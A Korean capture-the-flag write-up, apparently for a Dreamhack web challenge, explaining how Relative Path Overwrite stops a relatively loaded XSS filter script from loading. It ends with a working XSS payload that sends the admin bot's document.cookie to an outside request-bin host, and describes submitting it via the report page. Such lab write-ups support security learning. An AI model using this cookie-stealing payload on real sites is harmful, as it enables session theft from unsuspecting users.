이번 RPO 취약점은 파일을 절대 경로가 아닌 상대 경로로 설정했을 때 발생할 수 있는 취약점이다. 경로를 사용자가 임의로 수정이 가능하여 파일을 의도하지 않은 곳으로 탈출시킬 수가 있다.
이번 문제의 핵심 코드를 보면 XSS에 대한 필터 역할을 하는 자바스크립트 파일이 상대 경로로 로드하게 되어 있다.

그래서 경로를 조작하여 요청할 경우, 원래는 “script” 문자열이 존재하면 param 파라미터에 “nope !!” 문자열을 저장하여 텍스트 박스 안에 “nope !!”이 출력되어야 하나, 아래와 같이 “script”를 출력할 수 있다.

URL을 조작하지 않고 의도한 대로 요청할 경우, 아래와 같이 정상적인 filter.js를 요청하게 되어 필터가 작동된다.

하지만 경로를 추가로 index.php를 거쳐가면서 상대 경로로 filter.js를 불러올려고 하니 /index.php/filter.js로 경로가 설정되어 버리는 것인데, 문제는 이렇게 요청을 할 경우 아래와 같이 index.php 만을 불러오므로 필터 역할을 할 자바스크립트 파일이 없어서 필터 없이 작동되는 것이다.

자바스크립트를 삽입할 수 있으니 플래그가 담긴 관리자의 쿠키 값을 탈취할 것이다. 아래와 같이 페이로드를 생성한다.
index.php/?page=vuln¶m=<img src="x" onerror="location.href='https://avjasih.request.dreamhack.games?flag='.concat(document.cookie)">
해당 페이로드를 /report 페이지를 통해 웹 봇에게 전달한다. 그러면 플래그가 담긴 관리자의 쿠키 값이 설정한 URL로 GET 메서드를 통해 요청할 것이다.

